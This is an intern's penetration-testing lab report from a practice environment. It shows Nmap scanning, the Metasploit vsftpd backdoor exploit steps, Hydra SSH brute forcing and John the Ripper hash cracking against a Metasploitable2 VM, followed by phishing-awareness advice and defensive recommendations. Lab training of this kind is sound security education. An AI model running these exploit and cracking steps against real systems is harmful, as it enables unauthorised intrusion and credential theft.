**Exploitation & System Security Report**

**Intern Name:** Prathyusha Kale  
**Intern ID:** APSPL\_UID9364  
**Task:** 4 – Exploitation & System Security  
**Organization:** ApexPlanet Software Pvt. Ltd.  
**Date:** 30-10-2025

**Introduction**  
This report covers practical exercises in penetration testing and system security. I learned to use security tools such as Metasploit, perform password cracking, and understand basic concepts of malware analysis.

**Testing Environment**

* **Attacker System:** Kali Linux
* **Target System:** Metasploitable2 (practice VM)
* **Tools Used:** Nmap, Metasploit, Hydra, John the Ripper
* **Testing Period:** October 2025

**Part 1: Network Scanning with Nmap**  
**What is Nmap?**  
Nmap is a network scanning tool used to discover hosts and services on a network.

**Steps Performed:**

1. Scanned target IP: nmap -sS 192.168.225.85
2. Identified open ports and services
3. Performed script scanning for vulnerabilities

**Findings:**

* Multiple open ports identified
* Vulnerable services detected (FTP, SSH, HTTP)
* System running outdated software versions

**Part 2: Exploitation with Metasploit**  
**What is Metasploit?**  
Metasploit is a penetration testing framework used to find and exploit vulnerabilities.

**Steps Performed:**

1. Started Metasploit: msfconsole
2. Searched for exploits: search vsftpd
3. Selected exploit: use exploit/unix/ftp/vsftpd\_234\_backdoor
4. Set target: set RHOSTS 192.168.225.85
5. Launched exploit: exploit

**Result:**  
Successfully gained shell access to the target system.

**Post-Exploitation:**

* Checked system information
* Viewed running processes
* Accessed password hashes

**Part 3: Password Cracking**

**Using Hydra**  
**What is Hydra?**  
Hydra is a password cracking tool that tests multiple username and password combinations.

**Steps Performed:**

1. Created username and password lists
2. Ran attack: hydra -L users.txt -P passwords.txt ssh://192.168.225.85
3. Found valid credentials

**Result:**  
Successfully identified weak passwords, e.g., msfadmin:msfadmin, user:user.

**Using John the Ripper**  
**What is John the Ripper?**  
John the Ripper is a tool for cracking password hashes.

**Steps Performed:**

1. Extracted password hashes from the system
2. Created a hash file
3. Ran wordlist attack: john --wordlist=rockyou.txt hashes.txt
4. Cracked multiple passwords

**Result:**  
Demonstrated how weak passwords can be easily cracked.

**Part 4: Security Awareness**

**Phishing and Social Engineering**  
**What is Phishing?**  
Phishing is when attackers trick people into revealing sensitive information through fake emails or websites.

**Common Warning Signs:**

* Urgent language
* Generic greetings
* Suspicious links
* Poor grammar
* Requests for passwords

**How to Stay Safe:**

* Verify the sender before clicking links
* Check URLs carefully
* Never share passwords via email
* Enable two-factor authentication
* Report suspicious emails

**Summary of Activities**

| **Activity** | **Tool Used** | **Result** |
| --- | --- | --- |
| Network Scanning | Nmap | Identified vulnerabilities |
| Exploitation | Metasploit | Gained system access |
| Password Cracking | Hydra | Found weak passwords |
| Hash Cracking | John | Cracked passwords |
| Security Awareness | Research | Learned phishing prevention |

**What I Learned**

1. Reconnaissance is important — gathering information helps identify vulnerabilities.
2. Keep systems updated — many exploits target outdated software.
3. Use strong passwords — weak passwords can be cracked quickly.
4. Multiple security layers — defense in depth is essential.
5. User awareness matters — many attacks target people rather than systems.

**Key Takeaways**

* How attackers scan networks for vulnerabilities.
* The importance of patch management.
* Why strong, unique passwords are critical.
* How social engineering works.
* Basic concepts of malware analysis.

**Recommendations**

1. Regularly update all software.
2. Use strong, unique passwords.
3. Enable multi-factor authentication.
4. Monitor systems for suspicious activity.
5. Train users to recognize phishing attempts.
6. Implement firewalls and other security tools.

**Conclusion**  
This hands-on experience taught me practical penetration testing techniques and reinforced the importance of cybersecurity. Understanding how attacks work enables the design of stronger defenses. The knowledge gained will be valuable in my future career in cybersecurity.











